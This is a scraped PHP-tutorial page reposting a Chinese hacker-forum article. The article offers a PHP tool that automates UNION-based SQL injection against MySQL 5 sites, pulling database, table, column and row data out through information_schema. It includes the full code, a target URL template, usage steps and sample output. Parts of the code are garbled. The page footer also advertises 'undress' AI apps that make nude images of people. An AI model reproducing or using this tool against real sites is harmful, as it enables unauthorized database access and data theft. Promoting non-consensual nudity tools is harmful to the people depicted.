ホームページ php教程 php手册 php+mysql 5 sql injection 暴取工具beta版

php+mysql 5 sql injection 暴取工具beta版

Jun 13, 2016 am 10:30 AM
beta m php+mysql sql 著者 8進数 道具 記事 バージョン

文章作者:mika 来自于:邪恶八进制

mysql出来5版本以后,注入漏洞要比以前更容易利用了,也可以像mssql那样直接暴取了(甚至比mssql更容易了,因为mssql暴取是需要错误提示开启的,如果错误提示关闭的话,是需要暴力猜解的,而mysql的只要你找准注入点只要可以union出任何一个字段能在页面显示出来就可以了)。自从读了flyh4t的文章《Mysql5注射技巧总结》就一直想测试一下,结果我发现很多的站都更新到了这个版本,于是测试得不易乐呼~~~ 为了节省力气,自然是运用了自己所学的知识写个简单的工具自动暴取,比起手工来要省事多了。觉得会有许多朋友需要这样的工具,我虽然在网上找过包括最新的 pangolin,但是测试结果都不尽如人意。还是自己写的用起来顺手。其实代码没什么技术,但是本着共享的精神,算是提供个工具给大家吧,大家不要笑我哦
工具是php写的(因为俺觉得就这个写起来方便),代码如下:
error_reporting(7);
echo " Mysql ver 5 sql injection exploiter coded by Mika[EST] ";
if($argc>7 || $argc {
echo Usage:$argv[0] -t [table] [-f -c [condition]]
INFO;
die;
}
//****************************************************************************
$url="http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select%201,2,3,4,5,MIKA_MIKA,7,8";
$db_name="vuldb";
//****************************************************************************
$curl=curl_init();
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");

function find_value($url){
global $curl;
//echo $url." ";
curl_setopt($curl,CURLOPT_URL,$url);
$content=curl_exec($curl);
//echo $content;
$re=preg_match("/(||.+?||)/i",$content,$result);
//echo $content;
if($re)
{
//return str_replace(||,,$result[1]);
return $result[1];
}
return 0;
}

function str2ascii($str){
$temp="char(";
for($i=0;$i//echo $str[$i]." ";
$temp.=ord($str[$i]).,;
}
$temp.=ord($str[strlen($str)-1]).);
//echo $temp." ";
return $temp;
}

function exploit_db(){
global $url,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,SCHEMA_NAME,0x7C7C),$url);
$new_url.="%20from%20information_schema.SCHEMATA%20limit%20MIKA_MIKA,1/*";
$i=0;
echo "DATABASES: ";
do{
$new=str_replace(MIKA_MIKA,$i,$new_url);
if($v1=find_value($new))
echo $v1." ";
$i++;
}while($v1);
}

function exploit_tab(){
global $url,$db_name,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,TABLE_NAME,0x7C7C),$url);
$new_url.="%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=".str2ascii($db_name)."%20limit%20MIKA_MIKA,1/*";
echo "Tables of database ".strtoupper($db_name)." : ";
$i=0;
do{
$new=str_replace(MIKA_MIKA,$i,$new_url);
if($v1=find_value($new))
echo $v1." ";
$i++;
}while($v1);
}

function exploit_field(){
global $table_name,$url,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,COLUMN_NAME,0x7C7C),$url);
$new_url.="%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=".str2ascii($table_name)."%20limit%20MIKA_MIKA,1/*";
$i=0;
echo "columns of table ".strtoupper($table_name)." : ";
do{
$new=str_replace(MIKA_MIKA,$i,$new_url);
if($v1=find_value($new))
echo $v1." ";
$i++;
}while($v1);
}

function exploit_value($mode=0){
global $db_name,$table_name,$field_name,$condition,$url,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,MIKA_MIKA,0x7C7C),$url);
if($mode)
{
$new_url.="%20from%20$db_name.$table_name%20where%20$condition/*";
$new=str_replace(MIKA_MIKA,$field_name,$new_url);
$v1=find_value($new);
echo $v1." ";
return;
}
$new_url.="%20from%20$db_name.$table_name%20limit%20MIKA_NUM,1/*";
$new_url=str_replace(MIKA_MIKA,$field_name,$new_url);
$i=0;
echo "$field_name values of table ".strtoupper($table_name)." : ";
do{
$new=str_replace(MIKA_NUM,$i,$new_url);
if($v1=find_value($new))
echo $v1." ";
$i++;
}while($v1);
}

switch($argc){
case 2:
if($argv[1]==-t)
exploit_tab();
if($argv[1]==-d)
exploit_db();
break;
case 3:
$table_name=$argv[2];
exploit_field();
break;
case 5:
case 6:
$table_name=$argv[2];
$field_name=$argv[4];
exploit_value();
break;
case 7:
$table_name=$argv[2];
$field_name=$argv[4];
$condition=$argv[6];
exploit_value(1);
break;
}

?>
代码非常简单,而且我省了很多的力,只是一个非常粗糙的版本,完全是怎么方便怎么来的。但是满足暴取字段值什么的足够了,下面我简单解释一下吧:
在两个//*********之间的参数是需要直接在代码中修改的,因为太长了,放到命令行下改太麻烦,所以还是直接放代码里好。其中$url很明显就是有漏洞的url,要连union一起,就像代码里写的那样,如下:
http://www.vul.com/display_msg.p ... 0union%20select%201,2,3,4,5,6,7,8
比如第6个数字会在页面上显示,那么你就将数字6替换成“MIKA_MIKA”,而且最后不要跟注释符(因为程序会在提交的时候自动加上),最终的url如下:
$url="http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select%201,2,3,4,5,MIKA_MIKA,7,8";
另外$db_name是数据库名字,你可以直接用database()函数获取到,然后填到这里。

填完以后就可以用了,非常简单。打开cmd,切换到程序所在的目录,比如说暴取所有的数据库,可以这样用:
 F:scriptsphpmine>php mysql5.php -d
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 DATABASES:
 ||information_schema||
 ||vuldb||
暴取表名:
 F:scriptsphpmine>php mysql5.php -t
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 Tables of database VULDB :
 ||Articles||
 ||Audio||
 .
 .
 .
 省略
 .
 .
 .
暴取字段名:
 F:scriptsphpmine>php mysql5.php -t Articles
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 columns of table ARTICLES :
 ||ID||
 ||Article_ID||
 ||Title||
 ||Type||
 .
 .
 .
 省略
 .
 .
 .
暴取值:
 F:scriptsphpmine>php mysql5.php -t Articles -f Type
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 Type values of table ARTICLES :
 ||2||
 ||1||
 .
 .
 .
 省略
 .
 .
 .
另外你想加入自己的条件的话,可以在最后在加上-c参数然后再跟上where条件来限定(不要带where),比如:
 F:scriptsphpmine>php mysql5.php -t Articles -f ID -c Type=2
 Mysql ver 5 sql injection exploiter

 coded by Mika[EST]

 ||58||
程序很简陋,但基本功能算是有了,俺也只是想到哪写到哪,所以以后有什么完善一定拿上来跟大家分享。代码里难免有错误和可以改进的地方,还请大家多帮忙一起修改。另外,代码里有这一行:
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
这是为了使用代理的,如果不需要可以直接注释掉。

声明:转载请保持完整,另外真的希望大家都不要太吝啬,有了修改有了添加,还希望能拿出来跟大家一起分享,虽然俺的代码不怎么样

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

Oracleデータベースの表示方法Oracleデータベースを表示する方法 Oracleデータベースの表示方法Oracleデータベースを表示する方法 Apr 11, 2025 pm 02:48 PM

Oracleデータベースを表示するには、SQL*Plus(Selectコマンドを使用)、SQL開発者(Graphyインターフェイス)、またはシステムビュー(データベースの内部情報の表示)を使用できます。基本的な手順には、データベースへの接続、選択されたステートメントを使用したデータのフィルタリング、パフォーマンスのクエリの最適化が含まれます。さらに、システムビューはデータベースに関する詳細情報を提供し、監視とトラブルシューティングに役立ちます。実践と継続的な学習を通じて、Oracleデータベースの謎を深く探索できます。

Debian Snifferの出力結果を解釈する方法 Debian Snifferの出力結果を解釈する方法 Apr 12, 2025 pm 11:00 PM

DebiansNifferは、ネットワークパケットタイムスタンプをキャプチャして分析するために使用されるネットワークスニファーツールです。通常、数秒でパケットキャプチャの時間を表示します。ソースIPアドレス(SourceIP):パケットを送信したデバイスのネットワークアドレス。宛先IPアドレス(DestinationIP):データパケットを受信するデバイスのネットワークアドレス。ソースポート:パケットを送信するデバイスで使用されるポート番号。 Destinatio

Tomcatログがメモリの漏れのトラブルシューティングに役立つ方法 Tomcatログがメモリの漏れのトラブルシューティングに役立つ方法 Apr 12, 2025 pm 11:42 PM

Tomcatログは、メモリリークの問題を診断するための鍵です。 Tomcatログを分析することにより、メモリの使用状況とガベージコレクション(GC)の動作に関する洞察を得ることができ、メモリリークを効果的に見つけて解決できます。 Tomcatログを使用してメモリリークをトラブルシューティングする方法は次のとおりです。1。GCログ分析最初に、詳細なGCロギングを有効にします。 Tomcatの起動パラメーターに次のJVMオプションを追加します:-xx:printgcdetails-xx:printgcdateStamps-xloggc:gc.logこれらのパラメーターは、GCタイプ、リサイクルオブジェクトサイズ、時間などの情報を含む詳細なGCログ(GC.log)を生成します。分析GC.LOG

Debian OpenSSL構成を確認する方法 Debian OpenSSL構成を確認する方法 Apr 12, 2025 pm 11:57 PM

この記事では、DebianシステムのOpenSSL構成を確認して、システムのセキュリティステータスをすばやく把握できるように、いくつかの方法を紹介します。 1.最初にOpenSSLバージョンを確認し、OpenSSLがインストールされているかどうかを確認し、バージョン情報を確認します。端末に次のコマンドを入力します。OpenSSlversionがインストールされていない場合、システムはエラーを促します。 2。構成ファイルを表示します。 OpenSSLのメイン構成ファイルは、通常/etc/ssl/openssl.cnfにあります。テキストエディター(Nanoなど)を使用して、次のように表示できます。sudonano/etc/ssl/openssl.cnfこのファイルには、キー、証明書、暗号化アルゴリズムなどの重要な構成情報が含まれています。 3。OPEを利用します

データの読み取りと書き込み速度を改善するためのMongoDBパフォーマンス最適化戦略 データの読み取りと書き込み速度を改善するためのMongoDBパフォーマンス最適化戦略 Apr 12, 2025 am 06:42 AM

MongoDBパフォーマンスの最適化は、次の側面を通じて実現できます。1。適切なインデックスを作成し、完全なテーブルスキャンを避け、クエリモードに応じてインデックスタイプを選択し、クエリログを定期的に分析します。 2。効率的なクエリステートメントを記述し、オペレーターの場合は$を使用しないようにし、クエリオペレーターを合理的に使用し、ページ化されたクエリを実行します。 3.データモデルを合理的に設計し、過度のドキュメントを避け、ドキュメント構造を簡潔かつ一貫性を保ち、適切なフィールドタイプを使用し、データシェードを検討します。 4.接続プールを使用してマルチプレックスデータベース接続を使用して、接続オーバーヘッドを削減します。 5.クエリ時間や接続数などのパフォーマンスインジケーターを継続的に監視し、監視データに基づいて最適化戦略を継続的に調整し、最終的にMongoDBの迅速な読み取りと書き込みを実装します。

Debian SnifferとWiresharkの比較 Debian SnifferとWiresharkの比較 Apr 12, 2025 pm 10:48 PM

この記事では、ネットワーク分析ツールのWiresharkとDebian Systemsの代替案について説明します。 「debiansniffer」と呼ばれる標準的なネットワーク分析ツールがないことは明らかです。 Wiresharkは業界をリードするネットワークプロトコルアナライザーであり、Debian Systemsは同様の機能を備えた他のツールを提供しています。機能的特徴の比較Wireshark:これは、リアルタイムネットワークデータキャプチャとデータパケットコンテンツの詳細な表示をサポートする強力なネットワークプロトコルアナライザーであり、ネットワークの問題の診断を促進するためのリッチなプロトコルサポート、フィルタリング、および検索機能を提供します。 Debianシステムの代替ツール:Debianシステムには、TCPDumpやTsharkなどのネットワークが含まれています

Debian Apacheログを使用してWebサイトのパフォーマンスを向上させる方法 Debian Apacheログを使用してWebサイトのパフォーマンスを向上させる方法 Apr 12, 2025 pm 11:36 PM

この記事では、Debianシステムの下でApacheログを分析することにより、Webサイトのパフォーマンスを改善する方法について説明します。 1.ログ分析の基本Apacheログは、IPアドレス、タイムスタンプ、リクエストURL、HTTPメソッド、応答コードなど、すべてのHTTP要求の詳細情報を記録します。 Debian Systemsでは、これらのログは通常、/var/log/apache2/access.logおよび/var/log/apache2/error.logディレクトリにあります。ログ構造を理解することは、効果的な分析の最初のステップです。 2。ログ分析ツールさまざまなツールを使用してApacheログを分析できます。コマンドラインツール:GREP、AWK、SED、およびその他のコマンドラインツール。

DebianのNginx SSLパフォーマンスを監視する方法 DebianのNginx SSLパフォーマンスを監視する方法 Apr 12, 2025 pm 10:18 PM

この記事では、Debianシステム上のNginxサーバーのSSLパフォーマンスを効果的に監視する方法について説明します。 Nginxexporterを使用して、NginxステータスデータをPrometheusにエクスポートし、Grafanaを介して視覚的に表示します。ステップ1:NGINXの構成最初に、NGINX構成ファイルのSTUB_STATUSモジュールを有効にして、NGINXのステータス情報を取得する必要があります。 NGINX構成ファイルに次のスニペットを追加します(通常は/etc/nginx/nginx.confにあるか、そのインクルードファイルにあります):location/nginx_status {stub_status

See all articles